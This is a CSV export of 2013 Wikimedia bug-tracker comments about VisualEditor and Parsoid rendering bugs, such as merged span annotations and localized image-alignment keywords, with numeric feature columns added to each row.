230338,VisualEditor: <span> annotations next to each other aren't necessarily the same,"This is the same as bug 49478. We are dependent on it being in Parsoid first, otherwise we would reintroduce bug 48110.",,,1371812377,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,12.0,12.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.92,0.92,"This is the same as bug 49478. We are dependent on it being in Parsoid first, otherwise we would reintroduce bug 48110."
230334,VisualEditor: <span> annotations next to each other aren't necessarily the same,"In this case:

  <span style=""color:green;"">Aussie</span><span style=""color:gold;"">Legend</span>

… is being simplified by DM into:

  <span style=""color:green;"">AussieLegend</span>

… which, unsurprisingly, Parsoid assumes means we wanted to combine them. :-)",,,1371773903,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-fhtlyq5kho6tpsip3niy,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,9.0,20.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,11.0,5.173913043478261,0.717391304347826,"In this case:

  <span style=""color:green;"">Aussie</span><span style=""color:gold;"">Legend</span>

… is being simplified by DM into:

  <span style=""color:green;"">AussieLegend</span>

… which, unsurprisingly, Parsoid assumes means we wanted to combine them. :-)"
51855,VisualEditor: Blank transclusion block doesn't get converted into blankness,"Click ""add template"", then ""apply changes"" without adding a template (or add one, then remove it.

Expected wikitext: none

Actual wikitext: <span property=""mw:PageProp/noindex"" data-mw=""{&quot;parts&quot;:[]}""></span>

We're clearly putting in a placeholder that we don't delete if the block is empty; because we don't display content blocks that don't render in read, you can't see these, which sucks and lets users do The Wrong Thing(tm).

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371699420,1371744867.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-crkiryzxavcthffyf5za,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,3.0,3.0,1.0,1.0,0.0,1.0,1.5,3.5,0.0,0.0,0.0,2.0,0.0,4.5,4.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,0.5,1.5,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.5,1.0,0.0,10.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.5,0.0,1.0,0.0,1.0,0.0,3.0,1.0,7.0,2.5,1.5,4.5,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,3.5,4.0,3.5,0.0,2.5,0.0,3.5,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.5,4.015507518796992,0.7521929824561404,"Click ""add template"", then ""apply changes"" without adding a template (or add one, then remove it.

Expected wikitext: none

Actual wikitext: <span property=""mw:PageProp/noindex"" data-mw=""{&quot;parts&quot;:[]}""></span>

We're clearly putting in a placeholder that we don't delete if the block is empty; because we don't display content blocks that don't render in read, you can't see these, which sucks and lets users do The Wrong Thing(tm).

--------------------------
**Version**: unspecified
**Severity**: normal"
254807,VisualEditor: Blank transclusion block doesn't get converted into blankness,"

*** This bug has been marked as a duplicate of bug 49831 ***",,,1371744867,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-crkiryzxavcthffyf5za,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 49831 ***"
51854,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","Something's gone wrong with our PHP parser re-render call; on re-render of block templates only, you get {{template call|param}} rather than nice lovely HTML. Presumably something to do with our hack yesterday? Plzfixkthxbai.

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1371699120,1373555274.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-w3m2d62g427w2i6vbyd4,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,3.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,5.0,12.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,12.0,5.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.061538461538461,0.7384615384615385,"Something's gone wrong with our PHP parser re-render call; on re-render of block templates only, you get {{template call|param}} rather than nice lovely HTML. Presumably something to do with our hack yesterday? Plzfixkthxbai.

--------------------------
**Version**: unspecified
**Severity**: major"
254770,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","(In reply to comment #7)
> I'm not sure if this is the same bug, but English Wikipedia users report that
> when editing an infobox piped wikilinks display as [[word|word]] rather than
> as it will appear on save. It saves correctly.
> 
> I managed to replicate this. If this should be split off into another bug,
> sorry!

That's bug 50801 which we're working on right now; re-closing this one. No worries. :-)",,,1373555274,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,2.0,9.0,9.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,3.046511627906977,0.7441860465116279,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's bug 50801 which we're working on right now; re-closing this one. No worries. :-)"
254762,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","I'm not sure if this is the same bug, but English Wikipedia users report that when editing an infobox piped wikilinks display as [[word|word]] rather than as it will appear on save. It saves correctly.

I managed to replicate this. If this should be split off into another bug, sorry!",,,1373555086,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,3.0,5.0,2.0,0.0,0.0,0.0,3.0,0.0,6.0,16.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,3.0,10.0,6.0,2.0,10.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,6.0,16.0,6.0,0.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,3.0,3.806451612903226,0.8387096774193549,"I'm not sure if this is the same bug, but English Wikipedia users report that when editing an infobox piped wikilinks display as [[word|word]] rather than as it will appear on save. It saves correctly.

I managed to replicate this. If this should be split off into another bug, sorry!"
254755,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)",*** Bug 50361 has been marked as a duplicate of this bug. ***,,,1372690696,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50361 has been marked as a duplicate of this bug. ***
254748,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)",*** Bug 50328 has been marked as a duplicate of this bug. ***,,,1372373510,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50328 has been marked as a duplicate of this bug. ***
254741,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)",This should now be fixed and we will push it out this afternoon.,,,1372370057,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,1.0,This should now be fixed and we will push it out this afternoon.
254732,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","Change 70865 merged by jenkins-bot:
Fix escapeParams in transclusions to not escape other transclusions

https://gerrit.wikimedia.org/r/70865",,,1372368607,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.15,0.95,"Change 70865 merged by jenkins-bot:
Fix escapeParams in transclusions to not escape other transclusions

GERRIT_URL"
254723,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)","Change 70865 had a related patch set uploaded by Esanders:
Fix escapeParams in transclusions to not escape other transclusions

https://gerrit.wikimedia.org/r/70865",,,1372360560,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.260869565217392,0.9565217391304348,"Change 70865 had a related patch set uploaded by Esanders:
Fix escapeParams in transclusions to not escape other transclusions

GERRIT_URL"
254713,"VisualEditor: Re-rendered transclusion of blocks comes back as wikitext, not HTML (eww)",*** Bug 49730 has been marked as a duplicate of this bug. ***,,,1372015399,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-w3m2d62g427w2i6vbyd4,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49730 has been marked as a duplicate of this bug. ***
51853,VisualEditor: Phantoms are not relative to the surface content,"Reproduce:

1. Open page with a protected node
2. Click edit (visual editor)
3. Quickly mouse over the protected node (while VE loads)
4. See that the editor has slid the content down but the phantom is rendered under the mouse

Perhaps the local overlay should be a peer of the documentNode.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371696840,1372210873.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-eepem2ziuzvmflw5gpqj,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,11.0,2.0,1.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,3.7411764705882353,0.6235294117647059,"Reproduce:

1. Open page with a protected node
2. Click edit (visual editor)
3. Quickly mouse over the protected node (while VE loads)
4. See that the editor has slid the content down but the phantom is rendered under the mouse

Perhaps the local overlay should be a peer of the documentNode.

--------------------------
**Version**: unspecified
**Severity**: normal"
254692,VisualEditor: Phantoms are not relative to the surface content,Merged and will go out in the next few minutes.,,,1372210873,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-eepem2ziuzvmflw5gpqj,task_subcomment,,True,c1,2,True,,,-1,,9.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,1.0,Merged and will go out in the next few minutes.
254687,VisualEditor: Phantoms are not relative to the surface content,Didn't investigate yet but able to reproduce.,,,1371699532,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-eepem2ziuzvmflw5gpqj,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,Didn't investigate yet but able to reproduce.
51849,"Images: Image insertion uses both the English and the localised syntax for ""right""","Reported initially in bug 49596:

ptwiki (""direita,right""): https://pt.wikipedia.org/w/index.php?&diff=36119075

plwiki (""prawo,right""): https://pl.wikipedia.org/w/index.php?diff=36790309

This feels like a Parsoid issue (VisualEditor doesn't know about localisations of these terms :-)) but Inez can tell us more details.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371690720,1372192576.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ipvexqb24ep4dnkhsnif,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,1.0,4.0,0.0,1.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,6.0,7.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,3.857142857142857,0.6857142857142857,"Reported initially in bug 49596:

ptwiki (""direita,right""): URL

plwiki (""prawo,right""): URL

This feels like a Parsoid issue (VisualEditor doesn't know about localisations of these terms :-)) but Inez can tell us more details.

--------------------------
**Version**: unspecified
**Severity**: normal"
254516,"Images: Image insertion uses both the English and the localised syntax for ""right""",[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934016,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
254513,"Images: Image insertion uses both the English and the localised syntax for ""right""",https://gerrit.wikimedia.org/r/70343 (Gerrit Change I9717e9d4b3b79cc9e583fb74e3537fbb5112a7bf) | change APPROVED and MERGED [by jenkins-bot],,,1372115880,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,41.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change I9717e9d4b3b79cc9e583fb74e3537fbb5112a7bf) | change APPROVED and MERGED [by jenkins-bot]
254509,"Images: Image insertion uses both the English and the localised syntax for ""right""",Related URL: https://gerrit.wikimedia.org/r/70343 (Gerrit Change I9717e9d4b3b79cc9e583fb74e3537fbb5112a7bf),,,1372114620,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I9717e9d4b3b79cc9e583fb74e3537fbb5112a7bf)
254506,"Images: Image insertion uses both the English and the localised syntax for ""right""","AFAIC, there is nothing wrong in using the localized version. The problem is to use both.",,,1371815473,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,11.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.8947368421052633,0.8947368421052632,"AFAIC, there is nothing wrong in using the localized version. The problem is to use both."
254503,"Images: Image insertion uses both the English and the localised syntax for ""right""","These magic words are translateable at (for example for Polish) http://translatewiki.net/w/i.php?language=pl&module=words&title=Special%3AAdvancedTranslate - the entry for ""right"" says ""prawo, right"", which means both ""prawo"" and ""right"" are accepted and mean the canonical ""right"".

This looks as if Parsoid was calling (implicitly?) .toString() on an array of these terms instead of taking its first entry: ['prawo', 'right'].toString() == 'prawo,right'.",,,1371714512,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,1.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,1.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,16.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,5.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,10.0,3.0,1.0,16.0,0.0,1.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,1.0,3.402173913043478,0.5869565217391305,"These magic words are translateable at (for example for Polish) URL - the entry for ""right"" says ""prawo, right"", which means both ""prawo"" and ""right"" are accepted and mean the canonical ""right"".

This looks as if Parsoid was calling (implicitly?) .toString() on an array of these terms instead of taking its first entry: ['prawo', 'right'].toString() == 'prawo,right'."
254496,"Images: Image insertion uses both the English and the localised syntax for ""right""","**winne2i** wrote:

